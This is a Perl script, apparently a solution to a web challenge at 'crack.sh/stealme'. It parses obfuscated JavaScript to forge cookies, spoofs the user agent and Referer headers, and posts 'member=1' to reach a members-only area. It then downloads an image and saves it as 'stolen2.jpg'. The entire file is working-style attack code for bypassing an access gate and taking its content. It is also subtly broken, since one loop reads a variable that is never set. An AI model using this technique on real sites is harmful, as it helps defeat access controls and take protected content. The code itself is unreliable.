#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use Compress::Zlib;

$url1 = 'http://www.crack.sh/stealme/';

$cookie_jar = HTTP::Cookies->new;

$ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)');
$ua->cookie_jar($cookie_jar);

$response = $ua->get($url1); 
$html1 = Compress::Zlib::memGunzip($response->content); 
while($html1 =~ s/<!--(.+?)\/\/ -->//ims) {
    $javascript = $1;
}

while($javascript =~ s/function\s+([A-Za-z0-9]+).+?\{(.+?)\}//ims) {
    $func = $1;
    $action = $2;
    $action =~ s/^.*\'(.+?)\'.*$/$1/;
    ($name,$value) = split(/\=/,$action);
    $cookie_jar->set_cookie(0,$name,$value,'/','www.crack.sh');
}

while($html =~ s/src=\'(.+?)\'//ims) {
    my $url2 = 'http://www.crack.sh/stealme/'.$1;
    my $response2 = $ua->get($url2, Referer => $url1);

    $response3 = $ua->request(POST 'http://www.crack.sh/stealme/', [member => 1], [Referer => $url1]);

    $response4 = $ua->get('http://www.crack.sh/stealme/members/', Referer=>$url1);
    $html4 = Compress::Zlib::memGunzip($response4->content);


}


while($html4 =~ s/src=\'(.+?)\'//ims) {
        my $url5 = 'http://www.crack.sh'.$1;
        my $response5 = $ua->get($url5, Referer => 'http://www.crack.sh/stealme/members');

        if($response5->headers->as_string =~ /image\/jpeg/) {
                open(STOLEN, ">./stolen2.jpg");
                print STOLEN $response5->content;
                close STOLEN;
        }
}